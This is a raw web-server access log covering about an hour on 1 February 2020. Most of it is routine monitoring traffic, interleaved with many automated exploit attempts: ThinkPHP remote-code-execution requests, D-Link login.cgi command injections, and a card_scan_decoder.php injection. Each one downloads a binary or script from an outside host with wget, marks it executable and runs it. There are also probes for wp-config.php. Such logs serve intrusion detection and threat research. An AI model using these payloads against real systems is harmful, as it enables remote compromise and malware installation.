212.91.246.72 - - [01/Feb/2020:13:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.160 - - [01/Feb/2020:13:52:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.12.56.109 - - [01/Feb/2020:13:52:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.134.177.167 - - [01/Feb/2020:13:53:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
37.6.171.64 - - [01/Feb/2020:13:53:11 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:13:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.252.231.217 - - [01/Feb/2020:13:55:17 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
80.210.18.224 - - [01/Feb/2020:13:55:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:13:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.192 - - [01/Feb/2020:13:56:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.72.95.64 - - [01/Feb/2020:13:56:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:13:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.155.248.3 - - [01/Feb/2020:13:58:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:13:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
112.72.215.153 - - [01/Feb/2020:13:59:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
54.252.231.217 - - [01/Feb/2020:13:59:32 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:13:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.193.126.68 - - [01/Feb/2020:14:00:01 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
42.115.222.73 - - [01/Feb/2020:14:00:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.165.200.217 - - [01/Feb/2020:14:00:12 +0100] "HEAD / HTTP/1.1" 200 - "-" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
212.91.246.72 - - [01/Feb/2020:14:00:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:01:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:02:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:03:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.193.126.68 - - [01/Feb/2020:14:04:26 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:14:04:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.230.126.2 - - [01/Feb/2020:14:05:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:05:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.92.56 - - [01/Feb/2020:14:05:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:06:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:07:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:08:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:09:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:10:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.175.5.235 - - [01/Feb/2020:14:11:04 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:14:11:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.244.40.7 - - [01/Feb/2020:14:11:58 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:14:12:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.176.57.7 - - [01/Feb/2020:14:13:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:13:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.252.231.217 - - [01/Feb/2020:14:14:25 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:14:14:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:15:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.237.223.92 - - [01/Feb/2020:14:15:50 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
95.57.113.62 - - [01/Feb/2020:14:15:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
2.133.82.2 - - [01/Feb/2020:14:16:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:16:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.181.7.2 - - [01/Feb/2020:14:17:09 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:14:17:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.8.205 - - [01/Feb/2020:14:17:44 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.84.11.202 - - [01/Feb/2020:14:18:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:18:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:19:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.29.122 - - [01/Feb/2020:14:20:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:20:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:21:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.173.156.193 - - [01/Feb/2020:14:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
95.173.156.193 - - [01/Feb/2020:14:21:46 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
95.173.156.193 - - [01/Feb/2020:14:21:46 +0100] "POST /Admin53f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:28.0) Gecko/20100101 Firefox/28.0"
212.91.246.72 - - [01/Feb/2020:14:22:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.26.155.236 - - [01/Feb/2020:14:23:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:14:23:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.194.101 - - [01/Feb/2020:14:23:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.85.218 - - [01/Feb/2020:14:24:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.143.169.182 - - [01/Feb/2020:14:24:27 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:14:24:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.68.185.14 - - [01/Feb/2020:14:24:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
189.153.14.139 - - [01/Feb/2020:14:25:28 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [01/Feb/2020:14:25:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.139.89 - - [01/Feb/2020:14:25:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.55.29 - - [01/Feb/2020:14:26:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:26:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:27:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:28:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.194.23.70 - - [01/Feb/2020:14:28:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.196.163 - - [01/Feb/2020:14:29:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
102.41.38.93 - - [01/Feb/2020:14:29:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:29:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.83.227.229 - - [01/Feb/2020:14:30:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:14:30:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:31:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:32:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.1.38.228 - - [01/Feb/2020:14:32:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:33:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:34:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.133.138.199 - - [01/Feb/2020:14:35:30 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:14:35:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:36:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.131.13.41 - - [01/Feb/2020:14:37:11 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [01/Feb/2020:14:37:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.202.6 - - [01/Feb/2020:14:38:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:38:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.240.213 - - [01/Feb/2020:14:39:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.102.221.72 - - [01/Feb/2020:14:39:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.117.59.56 - - [01/Feb/2020:14:39:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:39:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:40:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:41:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.212.48.18 - - [01/Feb/2020:14:42:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:14:42:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:43:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:44:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.107.19.121 - - [01/Feb/2020:14:44:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
183.80.240.212 - - [01/Feb/2020:14:45:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.163.166.148 - - [01/Feb/2020:14:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:14:45:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.97.34 - - [01/Feb/2020:14:46:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:46:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:47:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.42.123.162 - - [01/Feb/2020:14:48:25 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:14:48:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:49:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:50:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:51:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
141.105.104.183 - - [01/Feb/2020:14:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:14:52:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:53:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:54:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:55:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:56:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:57:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.145.66 - - [01/Feb/2020:14:58:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:14:58:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:14:59:43 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
